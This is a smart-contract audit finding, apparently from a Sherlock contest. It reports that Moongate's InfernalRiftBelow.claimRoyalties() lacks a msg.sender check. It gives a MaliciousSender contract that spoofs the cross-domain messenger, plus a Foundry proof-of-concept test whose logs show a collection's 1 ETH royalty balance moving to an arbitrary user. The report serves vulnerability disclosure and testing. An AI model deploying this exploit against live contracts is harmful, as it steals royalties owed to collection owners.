Perfect Hotpink Tardigrade

High

# Moongate: Anybody can claim royalties for any collection on L2

### Summary

Insufficient `msg.sender` validation in [InfernalRiftBelow.claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L220) allows a malicious actor to create a contract that bypasses `ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE` [check](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L222) thus allowing to claim royalties for any collection.

### Root Cause

As far as I understand, the root cause is that there's a missing `msg.sender` validation step in [InfernalRiftBelow.claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L220):
```solidity
if (msg.sender != L2_CROSS_DOMAIN_MESSENGER) {
    revert("NotCrossDomainMessenger");
}
```

### Internal pre-conditions

1. NFT collection must be transferred to L2
2. NFT collection must have none 0 royalties on its address 


### External pre-conditions

_No response_

### Attack Path

1. Malicious user creates a new contract that bypasses [this](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L222) check:
```solidity
contract MaliciousSender is ICrossDomainMessenger {
    InfernalRiftBelow riftBelow;

    constructor(InfernalRiftBelow _riftBelow) {
        riftBelow = _riftBelow;
    }

    function sendMessage(address _target, bytes calldata _message, uint32 _minGasLimit) external payable {}
    
    function xDomainMessageSender() external view returns (address) {
        return riftBelow.INFERNAL_RIFT_ABOVE();
    }

    function run(address _collectionAddress, address _recipient, address[] calldata _tokens) external {
        riftBelow.claimRoyalties(_collectionAddress, _recipient, _tokens);
    }
}
```
2. Malicious user calls `MaliciousSender.run()` for any NFT collection deployed on L2 to claim all available royalties

### Impact

The attacker gains all available NFT collection royalties.

### PoC
Test:
```solidity
    function testAnybodyCanClaimRoyalties() public {
        // transfer NFT collection from L1 to L2
        _bridgeNft(address(this), address(l1NFT), 0);

        // add some royalties to L2 collection
        address l2NFTAddress = riftBelow.l2AddressForL1Collection(address(l1NFT), false);
        deal(l2NFTAddress, 1 ether);

        // prepare a malicious user
        address anyUser = address(1);

        console.log('===before===');
        console.log('Balance ETH (L2 collection):', l2NFTAddress.balance);
        console.log('Balance ETH (anyUser):', anyUser.balance);

        /**
         * 1. `anyUser` deploys the `MaliciousSender` contract
         * 2. `anyUser` calls `MaliciousSender.run()` which claims all available collection royalties
         */
        vm.startPrank(anyUser);
        MaliciousSender maliciousSender = new MaliciousSender(riftBelow);
        address[] memory tokens = new address[](2);
        tokens[0] = address(0);
        maliciousSender.run(address(l1NFT), anyUser, tokens);
        vm.stopPrank();

        console.log('===after===');
        console.log('Balance ETH (L2 collection):', l2NFTAddress.balance);
        console.log('Balance ETH (anyUser):', anyUser.balance);
}
```

Run `forge test --match-path test/RiftTest.t.sol --match-test testAnybodyCanClaimRoyalties -vv` to get this output:
```solidity
Ran 1 test for test/RiftTest.t.sol:RiftTest
[PASS] testAnybodyCanClaimRoyalties() (gas: 744707)
Logs:
  ===before===
  Balance ETH (L2 collection): 1000000000000000000
  Balance ETH (anyUser): 0
  ===after===
  Balance ETH (L2 collection): 0
  Balance ETH (anyUser): 1000000000000000000
```

Full test file:
```solidity
// SPDX-License-Identifier: AGPL-3.0

/* solhint-disable private-vars-leading-underscore */
/* solhint-disable var-name-mixedcase */
/* solhint-disable func-param-name-mixedcase */
/* solhint-disable no-unused-vars */
/* solhint-disable func-name-mixedcase */

pragma solidity ^0.8.26;

import 'forge-std/Test.sol';

import {ERC1155Receiver} from '@openzeppelin/token/ERC1155/utils/ERC1155Receiver.sol';

import {Test20} from './mocks/Test20.sol';
import {Test721} from './mocks/Test721.sol';
import {Test1155} from './mocks/Test1155.sol';
import {Test721NoRoyalty} from './mocks/Test721NoRoyalty.sol';
import {MockPortalAndCrossDomainMessenger} from './mocks/MockPortalAndCrossDomainMessenger.sol';
import {MockRoyaltyRegistry} from './mocks/MockRoyaltyRegistry.sol';
import {ERC721Bridgable} from '../src/libs/ERC721Bridgable.sol';
import {ERC1155Bridgable} from '../src/libs/ERC1155Bridgable.sol';

import {InfernalRiftAbove} from '../src/InfernalRiftAbove.sol';
import {InfernalRiftBelow} from '../src/InfernalRiftBelow.sol';
import {IInfernalRiftAbove} from '../src/interfaces/IInfernalRiftAbove.sol';
import {IInfernalPackage} from '../src/interfaces/IInfernalPackage.sol';
import {ICrossDomainMessenger} from '../src/interfaces/ICrossDomainMessenger.sol';


contract MaliciousSender is ICrossDomainMessenger {
    InfernalRiftBelow riftBelow;

    constructor(InfernalRiftBelow _riftBelow) {
        riftBelow = _riftBelow;
    }

    function sendMessage(address _target, bytes calldata _message, uint32 _minGasLimit) external payable {}
    
    function xDomainMessageSender() external view returns (address) {
        return riftBelow.INFERNAL_RIFT_ABOVE();
    }

    function run(address _collectionAddress, address _recipient, address[] calldata _tokens) external {
        riftBelow.claimRoyalties(_collectionAddress, _recipient, _tokens);
    }
}

contract RiftTest is ERC1155Receiver, Test {

    address constant ALICE = address(123456);

    Test721 l1NFT;
    Test1155 l1NFT1155;
    MockPortalAndCrossDomainMessenger mockPortalAndMessenger;
    MockRoyaltyRegistry mockRoyaltyRegistry;
    ERC721Bridgable erc721Template;
    ERC1155Bridgable erc1155Template;
    InfernalRiftAbove riftAbove;
    InfernalRiftBelow riftBelow;
    Test20 USDC;

    event BridgeStarted(address _destination, IInfernalPackage.Package[] package, address _recipient);

    function setUp() public {

        /**
          - Deploy rift above
          - Deploy rift below
          - Deploy ERC721Brigable template and set with rift below
          - Set rift below to use ERC721Bridgable
          - Set rift above to use rift below
          - Everything now immutable
         */

        USDC = new Test20('USDC', 'USDC', 18);
        l1NFT = new Test721();
        l1NFT1155 = new Test1155('https://address.com/token/');
        mockPortalAndMessenger = new MockPortalAndCrossDomainMessenger();
        mockRoyaltyRegistry = new MockRoyaltyRegistry();
        riftAbove = new InfernalRiftAbove(
            address(mockPortalAndMessenger),
            address(mockPortalAndMessenger),
            address(mockRoyaltyRegistry)
        );
        riftBelow = new InfernalRiftBelow(
            address(mockPortalAndMessenger), // pretend the portal *is* the relayer
            address(mockPortalAndMessenger),
            address(riftAbove)
        );
        erc721Template = new ERC721Bridgable('Test', 'T721', address(riftBelow));
        erc1155Template = new ERC1155Bridgable(address(riftBelow));
        riftBelow.initializeERC721Bridgable(address(erc721Template));
        riftBelow.initializeERC1155Bridgable(address(erc1155Template));
        riftAbove.setInfernalRiftBelow(address(riftBelow));
    }

    function testAnybodyCanClaimRoyalties() public {
        // transfer NFT collection from L1 to L2
        _bridgeNft(address(this), address(l1NFT), 0);

        // add some royalties to L2 collection
        address l2NFTAddress = riftBelow.l2AddressForL1Collection(address(l1NFT), false);
        deal(l2NFTAddress, 1 ether);

        // prepare a malicious user
        address anyUser = address(1);

        console.log('===before===');
        console.log('Balance ETH (L2 collection):', l2NFTAddress.balance);
        console.log('Balance ETH (anyUser):', anyUser.balance);

        /**
         * 1. `anyUser` deploys the `MaliciousSender` contract
         * 2. `anyUser` calls `MaliciousSender.run()` which claims all available collection royalties
         */
        vm.startPrank(anyUser);
        MaliciousSender maliciousSender = new MaliciousSender(riftBelow);
        address[] memory tokens = new address[](2);
        tokens[0] = address(0);
        maliciousSender.run(address(l1NFT), anyUser, tokens);
        vm.stopPrank();

        console.log('===after===');
        console.log('Balance ETH (L2 collection):', l2NFTAddress.balance);
        console.log('Balance ETH (anyUser):', anyUser.balance);
    }

    function _bridgeNft(address _recipient, address _collection, uint _tokenId) internal {
        // Set our tokenId
        uint[] memory ids = new uint[](1);
        ids[0] = _tokenId;

        // Mint the token to our recipient
        Test721(_collection).mint(_recipient, ids);
        Test721(_collection).setApprovalForAll(address(riftAbove), true);
        
        // Register our collection and ID list
        address[] memory collections = new address[](1);
        collections[0] = _collection;

        uint256[][] memory idList = new uint256[][](1);
        idList[0] = ids;

        // Set our domain messenger
        mockPortalAndMessenger.setXDomainMessenger(address(riftAbove));

        // Cross the threshold!
        riftAbove.crossTheThreshold(
            _buildCrossThresholdParams(collections, idList, address(this), 0)
        );
    }

    function _buildCrossThresholdParams(
        address[] memory collectionAddresses,
        uint[][] memory idsToCross,
        address recipient,
        uint64 gasLimit
    ) internal pure returns (
        IInfernalRiftAbove.ThresholdCrossParams memory params_
    ) {
        uint[][] memory amountsToCross = new uint[][](collectionAddresses.length);
        for (uint i; i < collectionAddresses.length; ++i) {
            amountsToCross[i] = new uint[](idsToCross[i].length);
        }

        params_ = IInfernalRiftAbove.ThresholdCrossParams(
            collectionAddresses, idsToCross, amountsToCross, recipient, gasLimit
        );
    }

    /**
     * @dev See {IERC1155Receiver-onERC1155Received}.
     */
    function onERC1155Received(address, address, uint, uint, bytes memory) public pure override returns (bytes4) {
        return this.onERC1155Received.selector;
    }

    /**
     * @dev See {IERC1155Receiver-onERC1155BatchReceived}.
     */
    function onERC1155BatchReceived(address, address, uint[] memory, uint[] memory, bytes memory) public pure override returns (bytes4) {
        return this.onERC1155BatchReceived.selector;
    }

}
```

### Mitigation

_No response_